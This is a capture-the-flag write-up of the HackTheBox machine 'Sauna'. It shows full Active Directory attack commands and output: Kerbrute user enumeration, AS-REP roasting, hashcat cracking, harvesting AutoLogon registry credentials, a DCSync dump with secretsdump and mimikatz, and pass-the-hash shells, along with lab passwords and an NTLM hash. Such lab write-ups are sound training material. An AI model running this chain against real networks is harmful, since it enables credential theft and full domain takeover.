Sauna was a neat chance to play with Windows Active Directory concepts packaged into an easy difficulty box. I’ll start by using a Kerberoast brute force on usernames to identify a handful of users, and then find that one of them has the flag set to allow me to grab their hash without authenticating to the domain. I’ll AS-REP Roast to get the hash, crack it, and get a shell. I’ll find the next users credentials in the AutoLogon registry key. BloodHound will show that user has privileges the allow it to perform a DC Sync attack, which provides all the domain hashes, including the administrators, which I’ll use to get a shell.

Box Info

Name Sauna Sauna
Play on HackTheBox
Release Date 15 Feb 2020
Retire Date 18 Jul 2020
OS Windows Windows
Base Points Easy [20]
Rated Difficulty Rated difficulty for Sauna
Radar Graph Radar chart for Sauna
First Blood User 00:17:42InfoSecJack
First Blood Root 01:03:28x4nt0n
Creator egotisticalSW



nmap shows 20 open TCP ports which are typical for a Windows server and likely a Domain Controller:

root@kali# nmap -p- --min-rate 10000
Starting Nmap 7.80 ( ) at 2020-02-15 14:11 EST 
Nmap scan report for
Host is up (0.027s latency).
Not shown: 65515 filtered ports
PORT      STATE SERVICE                    
53/tcp    open  domain 
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds                          
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP              
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49667/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown
49671/tcp open  unknown
49681/tcp open  unknown
64471/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 33.29 seconds

root@kali# nmap -p 53,80,88,135,139,389,445,464,593,3268,3269,5985 -sC -sV -oA scans/tcpscripts
Starting Nmap 7.80 ( ) at 2020-02-15 14:20 EST
Nmap scan report for
Host is up (0.046s latency).

53/tcp   open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-02-16 03:21:43Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 8h00m40s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2020-02-16T03:24:01
|_  start_date: N/A

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 244.38 seconds

The IIS server version suggests this is a Windows 10 / Server 2016 / Server 2019 machine.

The LDAP scripts show a domain name of EGOTISTICAL-BANK.LOCAL0. I’ll explore that more.

Website - TCP 80


The page represents a bank:

Just scrolling around, nothing interested jumps out. All the pages are static, and the forms don’t work. There isn’t much of value here. On the “About Us” page, there’s a list of the team:


I made of note of this in case I wanted to brute force something later, but I didn’t need it.

Directory Brute Force

While looking at the site, I also had gobuster running, but it didn’t find anything interesting either:

root@kali# gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o scans/gobuster-root -t 40
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        40
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
2020/02/15 14:15:03 Starting gobuster
/images (Status: 301)
/Images (Status: 301)
/css (Status: 301)
/fonts (Status: 301)
/IMAGES (Status: 301)
/Fonts (Status: 301)
/CSS (Status: 301)
2020/02/15 14:22:17 Finished

SMB - TCP 445

I’ll try anonymous connections to the SMB shares, but no love:

root@kali# smbmap -H
[+] Finding open SMB ports....
[+] User SMB session established on
[+] IP:        Name:                                      
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
[!] Access Denied

root@kali# smbclient -N -L //
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
smb1cli_req_writev_submit: called for dialect[SMB3_11] server[]
Error returning browse list: NT_STATUS_REVISION_MISMATCH
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available


The nmap script did some basic enumeration and returned the domain EGOTISTICAL-BANK.LOCAL0. I’ll dig in a bit more with ldapsearch.

First the query to get the domain base is ldapsearch -x -h -s base namingcontexts, where:

  • -x - simple auth
  • -h - host to query
  • -s base - set the scope to base
  • naming contexts - return naming contexts

This gives the domain, EGOTISTICAL-BANK.LOCAL:

root@kali# ldapsearch -x -h -s base namingcontexts
# extended LDIF
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 

namingcontexts: CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: DC=ForestDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

Now I can use -b 'DC=EGOTISTICAL-BANK,DC=LOCAL' to get information about the domain:

root@kali# ldapsearch -x -h -b 'DC=EGOTISTICAL-BANK,DC=LOCAL'
# extended LDIF
# LDAPv3
# base <DC=EGOTISTICAL-BANK,DC=LOCAL> with scope subtree
# filter: (objectclass=*)
# requesting: ALL

dn: DC=EGOTISTICAL-BANK,DC=LOCAL                      
objectClass: top
objectClass: domain
objectClass: domainDNS
instanceType: 5
whenCreated: 20200123054425.0Z
whenChanged: 20200216124516.0Z

There’s a bunch of information there, but I didn’t end up using it.


Any time I see DNS, it’s worth trying a Zone-Transfer. Both sauna.htb and egotistical-bank.local failed to return anything:

root@kali# dig axfr @ sauna.htb
; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> axfr @ sauna.htb
; (1 server found)
;; global options: +cmd
; Transfer failed.

root@kali# dig axfr @ egotistical-bank.local
; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> axfr @ egotistical-bank.local
; (1 server found)
;; global options: +cmd
; Transfer failed.

Kerberos - UDP (and TCP) 88

Without creds, one thing I can check on Kerberos is brute-focing user names. I’ll use Kerbrute to give this a run, and it finds four unique usernames:

root@kali# kerbrute userenum -d EGOTISTICAL-BANK.LOCAL /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt --dc

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 02/15/20 - Ronnie Flathers @ropnop

2020/02/15 14:41:50 >  Using KDC(s):
2020/02/15 14:41:50 >

2020/02/15 14:41:59 >  [+] VALID USERNAME:       administrator@EGOTISTICAL-BANK.LOCAL
2020/02/15 14:42:46 >  [+] VALID USERNAME:       hsmith@EGOTISTICAL-BANK.LOCAL
2020/02/15 14:42:54 >  [+] VALID USERNAME:       Administrator@EGOTISTICAL-BANK.LOCAL
2020/02/15 14:43:21 >  [+] VALID USERNAME:       fsmith@EGOTISTICAL-BANK.LOCAL
2020/02/15 14:47:43 >  [+] VALID USERNAME:       Fsmith@EGOTISTICAL-BANK.LOCAL
2020/02/15 16:01:56 >  [+] VALID USERNAME:       sauna@EGOTISTICAL-BANK.LOCAL
2020/02/16 03:13:54 >  [+] VALID USERNAME:       FSmith@EGOTISTICAL-BANK.LOCAL
2020/02/16 03:13:54 >  [+] VALID USERNAME:       FSMITH@EGOTISTICAL-BANK.LOCAL
2020/02/16 03:24:34 >  Done! Tested 8295455 usernames (8 valid) in 17038.364 seconds

fsmith is likely Fergus Smith:


I used a list of usernames from Seclists to do the brute to see if anything came out before trying to convert the names from the team page into a format. In a CTF, it makes sense to try a broad list first since it’s easier and noise doesn’t matter. If this were a real company, I’d probably try variations of the names, or look on social media to try to find a corporate email for the employees to get the username format first.

I made a list of the other users in the same format, [first initial][lastname]:


I ran it through kerbrute, but none of the other users exist.

Shell as fsmith

AS-REP Roasting Background

m0chan has a great post on attacking Kerberos that includes AS-REP Roasting. Typically, when you try to request authentication through Kerberos, first the requesting party has to authenticate itself to the DC. But there is an option, DONT_REQ_PREAUTH where the DC will just send the hash to an unauthenticated user. AS-REP Roasting is looking to see if any known users happen to have this option set.

Get Hash

I’ll use the list of users I collected from Kerbrute, and run to look for vulnerable users. Three come back as not vulnerable, but one gives a hash:

root@kali# 'EGOTISTICAL-BANK.LOCAL/' -usersfile users.txt -format hashcat -outputfile hashes.aspreroast -dc-ip
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

[-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User hsmith doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sauna doesn't have UF_DONT_REQUIRE_PREAUTH set

root@kali# cat hashes.aspreroast 

Crack Hash

Now I just need to kick this over to hashcat for cracking, and it works:

root@kali# hashcat -m 18200 hashes.aspreroast /usr/share/wordlists/rockyou.txt --force
hashcat (v5.1.0) starting...

It returns the password, Thestrokes23.


If I didn’t already have Evil-WinRM installed, I could install it with gem install evil-winrm. Now I’ll use it to get a shell:

root@kali# evil-winrm -i -u fsmith -p Thestrokes23

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\FSmith\Documents>

And get user.txt:

*Evil-WinRM* PS C:\Users\FSmith\desktop> type user.txt

Priv: fsmith –> svc_loanmgr


For Windows enumeration, I’ll run WinPEAS.exe from the Privilege Escalation Awesome Scripts Suite. I’ll put a copy in a folder and then create an SMB share with

root@kali# -username df -password df share . -smb2support
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Now I can mount the share from Sauna and go into that directory:

*Evil-WinRM* PS C:\> net use \\\share /u:df df
The command completed successfully.
*Evil-WinRM* PS C:\> cd \\\share\
*Evil-WinRM* PS Microsoft.PowerShell.Core\FileSystem::\\\share>

I’ll run winPEAS.exe such that the results are written to the share:

*Evil-WinRM* PS Microsoft.PowerShell.Core\FileSystem::\\\share> .\winPEAS.exe cmd fast > sauna_winpeas_fast

In looking through the results, AutoLogon credentials jumped out as interesting:

  [+] Looking for AutoLogon credentials(T1012)
Some AutoLogon credentials were found!!
    DefaultDomainName             :  EGOTISTICALBANK
    DefaultUserName               :  EGOTISTICALBANK\svc_loanmanager
    DefaultPassword               :  Moneymakestheworldgoround!     

I can see this manually by reading the registry with PowerShell:

*Evil-WinRM* PS HKLM:\software\microsoft\windows nt\currentversion\winlogon> get-item -path .

    Hive: HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion

Name                           Property
----                           --------
winlogon                       AutoRestartShell             : 1
                               Background                   : 0 0 0
                               CachedLogonsCount            : 10
                               DebugServerCommand           : no
                               DefaultDomainName            : EGOTISTICALBANK
                               DefaultUserName              : EGOTISTICALBANK\svc_loanmanager  <-- username
                               DisableBackButton            : 1
                               EnableSIHostIntegration      : 1
                               ForceUnlockLogon             : 0
                               LegalNoticeCaption           :
                               LegalNoticeText              :
                               PasswordExpiryWarning        : 5
                               PowerdownAfterShutdown       : 0
                               PreCreateKnownFolders        : {A520A1A4-1780-4FF6-BD18-167343C5AF16}
                               ReportBootOk                 : 1
                               Shell                        : explorer.exe
                               ShellCritical                : 0
                               ShellInfrastructure          : sihost.exe
                               SiHostCritical               : 0
                               SiHostReadyTimeOut           : 0
                               SiHostRestartCountLimit      : 0
                               SiHostRestartTimeGap         : 0
                               Userinit                     : C:\Windows\system32\userinit.exe,
                               VMApplet                     : SystemPropertiesPerformance.exe /pagefile
                               WinStationsDisabled          : 0
                               scremoveoption               : 0
                               DisableCAD                   : 1
                               LastLogOffEndTimePerfCounter : 808884164
                               ShutdownFlags                : 19
                               DisableLockWorkstation       : 0
                               DefaultPassword              : Moneymakestheworldgoround!  <-- password

reg.exe query "HKLM\software\microsoft\windows nt\currentversion\winlogon" would also dump this data.


Running net user on the box showed there was no user svc_loanmanager:

*Evil-WinRM* PS C:\> net user

User accounts for \\                                  

Administrator            FSmith                   Guest
HSmith                   krbtgt                   svc_loanmgr
The command completed with one or more errors.

But svc_loanmgr is pretty close.

I’ll try the creds with that user, and it works:

root@kali# evil-winrm -i -u svc_loanmgr -p 'Moneymakestheworldgoround!'

Evil-WinRM shell v2.1

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents>

Priv: svc_loanmgr –> root


I ran winPEAS.exe again, but nothing new jumped out at me. Since there’s AD stuff going on, I went to Bloodhound.

Download / Install

I’ll clone the repository into /opt, and also got the latest release binary. I’ll start neo4j (apt install neo4j if it’s not already installed) with neo4j start, and then run Bloodhound. If you’re running as root, you’ll need the --no-sandbox flag.

If it’s a fresh install (or if you forget your password from a previous install, you can delete /usr/share/neo4j/data/dbms/auth and then it’s like a fresh install), I’ll need to change the neo4j password by running neo4j console, visiting the url it returns, and logging in with the default creds, neo4j/neo4j. It’ll force a password change them at that point. Now the BloodHound program can connect, thought first I need data.

Run SharpHound.exe

Before I can do analysis in BloodHound, I need to collect some data. I’ll grab SharpHound.exe from the injestors folder, and make a copy in my SMB share. Then I can run it right from there, and the output will write into the share as well:

*Evil-WinRM* PS Microsoft.PowerShell.Core\FileSystem::\\\share> .\SharpHound.exe
Initializing SharpHound at 6:36 PM on 2/16/2020
Resolved Collection Methods: Group, Sessions, Trusts, ACL, ObjectProps, LocalGroups, SPNTargets, Container

[+] Creating Schema map for domain EGOTISTICAL-BANK.LOCAL using path CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL  
[+] Cache File not Found: 0 Objects in cache

[+] Pre-populating Domain Controller SIDS
Status: 0 objects finished (+0) -- Using 19 MB RAM
Status: 60 objects finished (+60 30)/s -- Using 26 MB RAM
Enumeration finished in 00:00:02.1309648       
Compressing data to .\
You can upload this file directly to the UI

SharpHound Enumeration Completed at 6:36 PM on 2/16/2020! Happy Graphing!

Analyze Results

I’ll import the .zip file into BloodHound by clicking the Upload Data button on the top right. Tt reports success, leaving me at a blank page. There are canned queries that might be useful, but I like to start with the user(s) I already have access to. I’ll search for SVC_LOANMGR@EGOTISTICAL-BANK.LOCAL in the bar at the top left, and it comes up on the graph. On the left, I’ll want to look for Outbound Object Control - These are items that this user has rights over. In this case, there is one:


Clicking the “1” add that item to the graph:


This account has access to GetChanges and GetChangesAll on the domain. Googling that will quickly point to a low of articles on the DCSync attack, or I can right click on the label (you have to get in just the right spot) and get the menu for it:


Clicking help, there’s a Abuse Info tab that includes instructions for how to abuse this privilege:




My preferred way to do a DCSync attack is using, which allows me to run DCSync attack from my Kali box, provided I can talk to the DC on TCP 445 and 135 and a high RPC port. This avoids fighting with AV, though it does create network traffic.

I need to give it just a target string in the format [username]:[password]@[ip]:

root@kali# 'svc_loanmgr:Moneymakestheworldgoround!@'
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[*] Kerberos keys grabbed
[*] Cleaning up... 


I can also use Mimikatz like BloodHound suggested. I’ll download the latest release from the release page, and upload the 64-bit binary to Sauna:

*Evil-WinRM* PS C:\programdata> upload /opt/mimikatz/x64/mimikatz.exe    
Info: Uploading /opt/mimikatz/x64/mimikatz.exe to C:\programdata\mimikatz.exe

Data: 1685172 bytes of 1685172 bytes copied
Info: Upload successful! 

Mimikatz can be super finicky. Ideally I can run it and drop to a Mimikatz shell, but for some reason on Sauna it just started spitting the prompt at my repeatedly and I had to kill my session. It’s always safer to just run mimikatz.exe with the commands you want to run following it from the command line.

*Evil-WinRM* PS C:\programdata> .\mimikatz 'lsadump::dcsync /domain:EGOTISTICAL-BANK.LOCAL /user:administrator' exit

  .#####.   mimikatz 2.2.0 (x64) #19041 May 19 2020 00:48:59
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)           
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( )
 ## \ / ##       >
 '## v ##'       Vincent LE TOUX             ( ) 
  '#####'        > /   ***/ 

mimikatz(commandline) # lsadump::dcsync /domain:EGOTISTICAL-BANK.LOCAL /user:administrator
[DC] 'EGOTISTICAL-BANK.LOCAL' will be the domain
[DC] 'administrator' will be the user account
Object RDN           : Administrator    
** SAM ACCOUNT **                                                        
SAM Username         : Administrator    
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :                                                   
Password last change : 1/24/2020 10:14:15 AM
Object Security ID   : S-1-5-21-2966785786-3096785034-1186376766-500
Object Relative ID   : 500                                               
  Hash NTLM: d9485863c1e9e05851aa40cbb4ab9dff
    ntlm- 0: d9485863c1e9e05851aa40cbb4ab9dff
    ntlm- 1: 7facdc498ed1680c4fd1448319a8c04f
    lm  - 0: ee8c50e6bc332970a8e8a632488f5211
Supplemental Credentials:                                                
* Primary:NTLM-Strong-NTOWF *                                            
    Random Value : caab2b641b39e342e0bdfcd150b1683e
* Primary:Kerberos-Newer-Keys *                                          
    Default Salt : EGOTISTICAL-BANK.LOCALAdministrator
    Default Iterations : 4096                                            

This spits out a ton of information. The hash I need (that matches the secretsdump output) is the Hash NTLM in the middle above. I could also use /all instead of /user:administrator to dump the entire user cache, but administrator is all I need here.


I can use the administrator hash to WMI to get a shell as administrator:

root@kali# -hashes 'aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff' -dc-ip administrator@
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands

Or PSExec to get a shell as SYSTEM:

root@kali# -hashes 'aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff' -dc-ip administrator@
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on
[*] Found writable share ADMIN$
[*] Uploading file TQeVYGvK.exe
[*] Opening SVCManager on
[*] Creating service bEUo on
[*] Starting service bEUo.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.973]
(c) 2018 Microsoft Corporation. All rights reserved.

nt authority\system

Or I can even use EvilWinRM:

root@kali# evil-winrm -i -u administrator -H d9485863c1e9e05851aa40cbb4ab9dff

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents>

Any way, I can grab root.txt:

C:\users\administrator\desktop>type root.txt